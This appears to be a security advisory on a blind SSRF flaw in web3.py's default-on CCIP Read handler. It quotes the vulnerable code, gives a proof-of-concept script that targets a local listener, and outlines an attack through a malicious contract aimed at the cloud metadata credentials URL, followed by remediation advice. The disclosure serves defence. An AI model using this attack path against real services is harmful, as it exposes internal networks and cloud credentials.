Summary

• No restriction to https:// (and no opt-in gate for http://)
• No hostname or IP allowlist
• No blocking of private/reserved IP ranges (loopback, link-local, RFC1918)
• No redirect target validation (both requests and aiohttp follow redirects by default)

Why This Is a Vulnerability

• Default-on exposure. CCIP Read is enabled by default on all web3.py providers (global ccip read enabled = True). Users who never intend to use CCIP Read, and who may not even know the feature exists, are silently exposed. A feature that makes unsanitized outbound requests to attacker-controlled URLs should not be enabled by default without safety guardrails.
• Library vs. application responsibility. web3.py is a widely-used library. Expecting every downstream application to independently implement SSRF protections around .call() is unreasonable, especially for a feature that fires automatically and invisibly on a specific revert pattern. Safe defaults at the library level are the standard expectation for any library that issues outbound HTTP requests to externally-controlled URLs.

Affected Code

Sync CCIP handler

session = requests.Session()
for url in offchain lookup payload["urls"]:
  formatted url = URI(
    str(url)
    .replace("{sender}", str(formatted sender))
    .replace("{data}", str(formatted data))
  )

  try:
    if "{data}" in url and "{sender}" in url:
      response = session.get(formatted url, timeout=DEFAULT HTTP TIMEOUT)
    else:
      response = session.post(
        formatted url,
        json={"data": formatted data, "sender": formatted sender},
        timeout=DEFAULT HTTP TIMEOUT,
      )

• requests follows redirects by default (allow redirects=True).
• No allow redirects=False is set.
• No validation of formatted url before the request.
• The placeholder check (if "{data}" in url) operates on the raw url value from the payload (before str() conversion), not on the already-formatted formatted url. If url is not a plain str (e.g., a URI type), the in check may behave differently than intended.

Async CCIP handler

session = ClientSession()
for url in offchain lookup payload["urls"]:
  formatted url = URI(
    str(url)
    .replace("{sender}", str(formatted sender))
    .replace("{data}", str(formatted data))
  )

  try:
    if "{data}" in url and "{sender}" in url:
      response = await session.get(
        formatted url, timeout=ClientTimeout(DEFAULT HTTP TIMEOUT)
      )
    else:
      response = await session.post(
        formatted url,
        json={"data": formatted data, "sender": formatted sender},
        timeout=ClientTimeout(DEFAULT HTTP TIMEOUT),
      )

• aiohttp follows redirects by default.
• No redirect or destination validation.
• Same raw-url placeholder check issue as the sync handler.

Default-on invocation path

global ccip read enabled: bool = True

Security Impact

1. Blind SSRF (Primary Impact)

• Loopback services: http://127.0.0.1:<port>/..., http://localhost/...
• Cloud metadata endpoints: http://169.254.169.254/latest/meta-data/iam/security-credentials/
• Internal network services: any RFC1918 address (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
• Arbitrary external destinations

• The raw response body is not directly returned to the attacker in most cases (blind SSRF).
• However, the request itself is the primary threat: it can reach internal services, trigger side effects on internal APIs, and serve as a network probe.
• On AWS with IMDSv1, a GET to http://169.254.169.254/... returns credentials in plaintext. While the CCIP handler would fail to parse this as JSON, the request itself reaches the metadata service. If an internal endpoint returns JSON containing a "data" field (or can be coerced to), the handler may accept it and use it in the on-chain callback, creating a potential exfiltration path.

2. Redirect-Based SSRF Amplification

• Sync: web3/utils/exception handling.py -- session.get() with default allow redirects=True
• Async: web3/utils/async exception handling.py -- session.get() with default redirect following

3. Internal Network Probing

• Probe internal network topology (open ports, reachable hosts) based on response timing and error behavior
• Trigger side effects on internal APIs that accept GET or POST requests without authentication
• Map cloud infrastructure by querying metadata endpoints

4. POST-Based SSRF

Proof of Concept

Prerequisites

• Python environment with web3 installed
• No network access or blockchain connection required (the PoC calls the handler function directly)

Step 1: Start a local HTTP listener

python -m http.server 9999

Step 2: Run the reproduction script

python repro ssrf.py

Step 3: Observe

Reproduction script (repro ssrf.py)

from web3.types import TxParams
from web3.utils.exception handling import handle offchain lookup


def reproduce ssrf():
  target address = "0x0000000000000000000000000000000000000001"

  payload = {
    "sender": target address,
    "callData": "0x1234",
    "callbackFunction": "0x12345678",
    "extraData": "0x90ab",
    "urls": [
      "http://127.0.0.1:9999/SSRF DETECTION SUCCESS?sender={sender}&data={data}"
    ],
  }

  transaction: TxParams = {"to": target address}

  print(f"Triggering CCIP Read handler with URL: {payload['urls'][0]}")

  try:
    handle offchain lookup(payload, transaction)
  except Exception as e:
    print(f"Expected failure after request was sent: {e}")


if  name  == " main ":
  reproduce ssrf()

Real-world attack scenario

1. Deploy a malicious contract that reverts with OffchainLookup, supplying URLs pointing to internal services (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/).
2. Cause a backend service (indexer, API, bot) to call that contract via eth call / .call().
3. web3.py automatically triggers CCIP Read, issuing the HTTP request from the backend's network context.

Suggested Remediation

1. Restrict URL schemes (safe default)

2. Block private/reserved IP destinations by default

• 127.0.0.0/8 (loopback)
• 169.254.0.0/16 (link-local / cloud metadata)
• 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918)
• ::1, fe80::/10 (IPv6 loopback / link-local)
• 0.0.0.0/8

3. Disable or validate redirects

• Set allow redirects=False on the HTTP requests, or
• Validate each redirect target against the same destination policy before following it

4. Provide a URL validator hook

5. Consider stronger default safety signaling (or default-off in server-side contexts)

• a clearly documented “safe mode” preset (destination validation + redirect checks + private-range blocking), or
• stronger warnings / examples showing how to disable CCIP Read (ccip read enabled=False or global ccip read enabled=False) when calling untrusted contracts.